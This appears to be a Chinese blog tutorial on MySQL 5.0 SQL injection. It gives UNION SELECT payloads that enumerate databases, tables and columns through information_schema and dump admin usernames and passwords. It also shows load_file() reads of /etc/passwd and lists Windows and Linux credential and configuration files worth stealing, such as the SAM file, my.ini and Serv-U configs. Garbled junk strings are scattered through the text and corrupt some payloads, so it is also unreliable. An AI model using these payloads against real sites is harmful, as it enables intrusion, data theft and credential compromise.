mysql5.0注入原理

admin

记得之前园长说不知道MYSQL5.0以上的IFORMATION_SCHEMA表的结构就说自己懂得注入的是很傻逼的事情。于是了解了一番。

4 {2 a) C" U0 y( l9 _

Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其
中记录了Mysql中所有
* C4 V! y: f  |8 i& M存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说
7 n/ u( T: a' L% y/ H明。
% y8 x* v1 R3 a2 Z1.得到所有数据库名：
|SCHEMATA ->存储数据库名的表
* j+ j) K8 D. U# F1 b|—字段：SCHEMA_NAME ->数据库名称
; D8 J9 v1 p. x8 u" B
3 h) Q1 X; i. N& I3 E/ \|TABLES ->存储表名
|—字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
|—字段：TABLE_NAME ->存储表的表名

|COLUMNS ->存储的字段名表
/ Q5 {8 q2 J# B. D( N) u( X0 H|—字段：TABLE_SCHEMA ->该字段所属数据库名
+ L$ D! ?& {( r6 e0 m|—字段：TABLE_NAME ->存储所属表的名称
1 W4 Y+ G8 c' z) f. y
2 a2 @7 p7 q: ]1 @* {6 g% p0 \|—字段：COLUMN_NAME ->该字段的名称
+ `* P4 e# Y$ Y& T0 {6 V! }' Z) s
! E! E' n) L' c/ t# l  a#########################################################################
##
5 c' M) P  f* M( v4 A
0×001 获取系统信息:

* Q6 s2 B6 `6 Iunion select 1,2,3,4,5,concat
3 T& X8 k- Y! v& T(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user
(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*

/*

@@global.version_compile_os 获取系统版本
. z# U: ?+ H" E) o# z
% e& L. h4 T- d5 V9 Y@@datadir 数据库路径
database() 当前数据库名称
, T' T' |5 Y4 m' f# k9 U. l  o0x3c62723e 换行HEX值

; j3 C4 }# [% `' O# o9 a*/

/ z4 {! F- n, |; X######################################################################

0×002 获取表名
( J1 X- a7 Y1 {5 {
union select 1,2,group_concat(table_name),4,5,6,7,8,9 from
information_schema.tables where table_schema=0x67617264656e /*

$ c  Q! p4 h5 h& d/*
0 v/ ]3 W8 {1 ~, ]/ L
0x67617264656e 为当前数据库名

7 V: F. p( T$ o, {6 `group_concat(table_name) 使用group_concat函数 一步获得该库所有表名

# t! j5 A1 a1 G0 O*/

######################################################################
* y( O/ Y7 K1 C8 P' N- q% _
5 d0 O7 B" x$ U0×003 获取字段

union select 1,2,group_concat(column_name),4,5,6,7,8,9 from
information_schema.columns where table_name=0x61646d696e and
  X. Z+ k1 ?  a, ~: U

3 s1 d, n, S  V& e- Xtable_schema=0x67617264656e limit 1 /*

/*

6 R' G- n( p# I. T% Z. igroup_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段

0x61646d696e ->选择一个表

0x67617264656e ->数据库名
: z# [% i/ ~5 H7 C0 k
*/

#####################################################################
  v! H/ t+ o8 K( m( k
! @+ L1 p+ d% p, e( P- R, u/ q0×004 获取数据

union select 1,2,3
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin

union select 1,group_concat(id),group_concat(adname),4,5,group_concat
(adpassword),6,7,8 from admin

# r0 Y0 i0 c) v2 g" f! l/*

0x3c62723e 换行符号HEX编码

: x% O0 q. U( E9 V1 Egroup_concat 同时获得该字段所有数据

; b: m1 \1 `# e$ c, Z6 [*/

* k! J7 I. {0 q* O1 c/ Y" H  _

: v& K3 H, Y( p" c8 L2 _9 P

顺便添加一些mysql注入时非常有用的一些东西
* a7 k  @# H2 u( Y, b4 {
简单介绍Mysql注入中用到的一些函数的作用，利用它们可以判断当前用户权限（Root为最高，相当于MSSQL中的SA）、数据库版本、数据库路径、读取敏感文件、网站目录路径等等。

1:system_user() 系统用户名
- \# I# ]# V8 Q5 ^- b/ b# m/ o3 ?5 v. e2:user()        用户名
3:current_user()  当前用户名
% G, n( `6 G- t$ \& r4:session_user()连接数据库的用户名
5:database()    数据库名
; \4 _1 L- m) v6:version()     MYSQL数据库版本
7:load_file()   MYSQL读取本地文件的函数
' G( q  H9 _# w8@datadir     读取数据库路径
" z2 U. S- s6 @$ i5 N9@basedir    MYSQL 安装路径
% v, w. v& z6 D) P, `' W2 Y7 ]+ H. V10@version_compile_os   操作系统  Windows Server 2003,
收集的一些路径：
WINDOWS下:
c:/boot.ini          //查看系统版本
6 D3 ]+ z5 o& R' ?" x. s4 }c:/windows/php.ini   //php配置信息
5 h( L1 F3 s& J0 Sc:/windows/my.ini    //MYSQL配置文件，记录管理员登陆过的MYSQL用户名和密码
/ R! d) r" s7 V8 n/ e2 V& pc:/winnt/php.ini
  R# Y1 |0 R4 `/ g8 Fc:/winnt/my.ini
c:\mysql\data\mysql\user.MYD  //存储了mysql.user表中的数据库连接密码
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini  //存储了虚拟主机网站路径和密码
1 N2 b8 D7 C% ?/ fc:\Program Files\Serv-U\ServUDaemon.ini
$ B* y8 `: t2 ?+ P5 b$ uc:\windows\system32\inetsrv\MetaBase.xml  //IIS配置文件
c:\windows\repair\sam  //存储了WINDOWS系统初次安装的密码
c:\Program Files\ Serv-U\ServUAdmin.exe  //6.0版本以前的serv-u管理员密码存储于此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
//存储了pcAnywhere的登陆密码
+ V9 R7 W, j. R2 `! J8 Lc:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf //查看     WINDOWS系统apache文件
3 r2 c5 C8 [7 b. Yc:/Resin-3.0.14/conf/resin.conf   //查看jsp开发的网站 resin文件配置信息.

: Q; _* Q- k" K' [8 D
* D  o9 N: E5 U0 ac:/Resin/conf/resin.conf      /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
1 Z3 g. m' a5 I. n4 Ad:\APACHE\Apache2\conf\httpd.conf
% {+ v) J0 ]3 {; l3 L6 v1 s% VC:\Program Files\mysql\my.ini
7 L8 ~+ w) _% L; {( C5 l% i" p) zc:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码

+ W9 O% U# s  s5 `LUNIX/UNIX下:
# J( J* U" [6 s7 r/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
2 d7 G( G' ]. F/ ~' V6 C) v/etc/sysconfig/iptables //从中得到防火墙规则策略
& |. v8 S1 Z+ z6 e7 |& z/etc/httpd/conf/httpd.conf // apache配置文件
' u; r% [2 X- Z2 s/etc/rsyncd.conf //同步程序配置文件
/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系统版本
. s/ a7 W  _+ N/etc/issue
/etc/issue.net
/usr/local/app/php5/lib/php.ini //PHP相关设置
- w* G8 l: D, R; s/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
6 p# W" j0 k* @7 D, o5 B/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
6 L* |. U* \3 O! B/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
7 I; a" M: H& }7 S/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
3 ^) n0 ]! u3 [4 g. |" E/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/ ]: N; S6 J) I' x6 [/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
. z/ D0 V+ A  `& R2 v' h/etc/sysconfig/iptables 查看防火墙策略
% p8 F; |7 ]/ e) s# nload_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
8 C$ v9 p8 z# i/ ^  Lreplace(load_file(0x2F6574632F706173737764),0x3c,0×20)
' i2 v( Y3 N& F. Yreplace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.
) ~! L9 G9 ^7 I/ s) Y0 o4 e
8 j" @1 D7 A% y2 X, _